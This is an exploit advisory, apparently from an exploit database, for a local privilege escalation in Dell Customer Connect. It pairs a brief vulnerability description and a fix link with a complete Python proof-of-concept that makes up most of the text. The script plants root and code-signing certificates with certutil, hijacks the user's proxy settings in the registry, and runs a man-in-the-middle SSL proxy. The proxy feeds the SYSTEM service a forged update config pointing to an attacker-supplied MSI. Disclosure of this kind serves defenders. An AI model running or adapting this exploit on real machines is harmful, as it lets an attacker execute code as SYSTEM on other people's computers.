# Exploit Dell Customer Connect Privilege Escalation # Date: 25.04.2017 # Software Link: http://www.dell.com/ # Exploit Author: Kacper Szurek # Contact: https://twitter.com/KacperSzurek # Website: https://security.szurek.pl/ # Category: local 1. Description DCCService.exe is running on autostart as System. This service has auto update functionality. Basically it periodically checks https://otbs.azurewebsites.net looking for new config file. Under normal conditions we cannot spoof this connection because it’s SSL. But here WebUtils.sendWebRequest() is executed using Impersonator.RunImpersonated(). RunImpersonated() executes given function in the context of currently logged in user. In Windows system we can add any certificate to Local user root store. Then this certificate is considered as trusted so we can perform MITM attack. It can be done using simple proxy server because by default .NET HttpWebRequest() uses IE proxy settings (which can by set by any user without administrator priveleges). https://security.szurek.pl/dell-customer-connect-13280-privilege-escalation.html 2. Proof of Concept from _winreg import * from threading import Thread import os import subprocess import hashlib import SimpleHTTPServer import SocketServer import ssl import httplib import time msi_file = "exploit.msi" cert_file = "otbs.crt" signing_file = "code.cer" file_port = 5555 proxy_port = 7777 print "Dell Customer Connect Privilege Escalation" print "by Kacper Szurek" print "https://security.szurek.pl/" print "https://twitter.com/KacperSzurek" # Simpe SSL proxy based on https://code.google.com/archive/p/proxpy/ class ProxyHandler(SocketServer.StreamRequestHandler): def __init__(self, request, client_address, server): SocketServer.StreamRequestHandler.__init__(self, request, client_address, server) def handle(self): global xml line = self.rfile.readline() for l in self.rfile: if l == "\r\n": break if "GET /api/AppConfig" in line: conn = httplib.HTTPSConnection(self.host, self.port) print "\n[+] Send XML to service" self.wfile.write("HTTP/1.1 200 200\r\n\r\n"+xml) elif "CONNECT otbs.azurewebsites.net:443" in line: socket_ssl = ssl.wrap_socket(self.request, server_side = True, certfile = cert_file, ssl_version = ssl.PROTOCOL_SSLv23, do_handshake_on_connect = False) self.request.send("HTTP/1.1 200 Connection Established\r\n\r\n") host, port = self.request.getpeername() self.host = host self.port = port while True: try: socket_ssl.do_handshake() break except (ssl.SSLError, IOError): return print "\n[+] SSL Established with otbs.azurewebsites.net" self.request = socket_ssl self.setup() self.handle() class ThreadedHTTPProxyServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass def add_to_store(name, file): output = subprocess.Popen('certutil -user -addstore "Root" "{}"'.format(file), stdout=subprocess.PIPE).communicate()[0] if "\"{}\" already in store".format(name) in output: print "[+] Certificate {} already in store".format(name) elif "\"{}\" added to store".format(name) in output: print "[+] Add certificate {} to user root store".format(name) else: print "[-] You need to click OK in order to add cert to user root store" os._exit(0) if not os.path.isfile(cert_file): print "[-] Missing SSL file" os._exit(0) if not os.path.isfile(signing_file): print "[-] Missing code signing file" os._exit(0) add_to_store("otbs.azurewebsites.net", cert_file) add_to_store("dell inc", signing_file) def sha256_checksum(filename, block_size=65536): sha256 = hashlib.sha256() with open(filename, 'rb') as f: for block in iter(lambda: f.read(block_size), b''): sha256.update(block) return sha256.hexdigest() def file_server(): Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer(("", file_port), Handler) httpd.serve_forever() if not os.path.isfile(msi_file): print "[-] Missing msi file" os._exit(0) sha256 = sha256_checksum(msi_file) print "[+] MSI hash: {}".format(sha256) print "[+] Set Proxy Server in registry" key = OpenKey(HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Internet Settings', 0, KEY_ALL_ACCESS) SetValueEx(key, "ProxyServer", 0, REG_SZ, "{}".format(proxy_port)) SetValueEx(key, "ProxyEnable", 0, REG_DWORD, 1) CloseKey(key) print "[+] Start file server on port {}".format(file_port) t1 = Thread(target = file_server) t1.daemon = True t1.start() xml = "{}/{}{}1".format(file_port, msi_file, sha256) print "[+] Start proxy server on port {}".format(proxy_port) proxy_server = ThreadedHTTPProxyServer(("", proxy_port), ProxyHandler) t2 = Thread(target = proxy_server.serve_forever) t2.daemon = True t2.start() log_path = r"C:\Users\All Users\Dell\Dell Customer Connect\Logs\{}_install_log.txt".format(msi_file) print "[+] Waiting for execution ", while True: if os.path.isfile(log_path): print "\n[+] Looks like msi file was executed, exiting" os._exit(0) time.sleep(3) print ".", 3. Fix http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=DR53F # Iranian Exploit DataBase = http://IeDb.Ir [2017-04-30]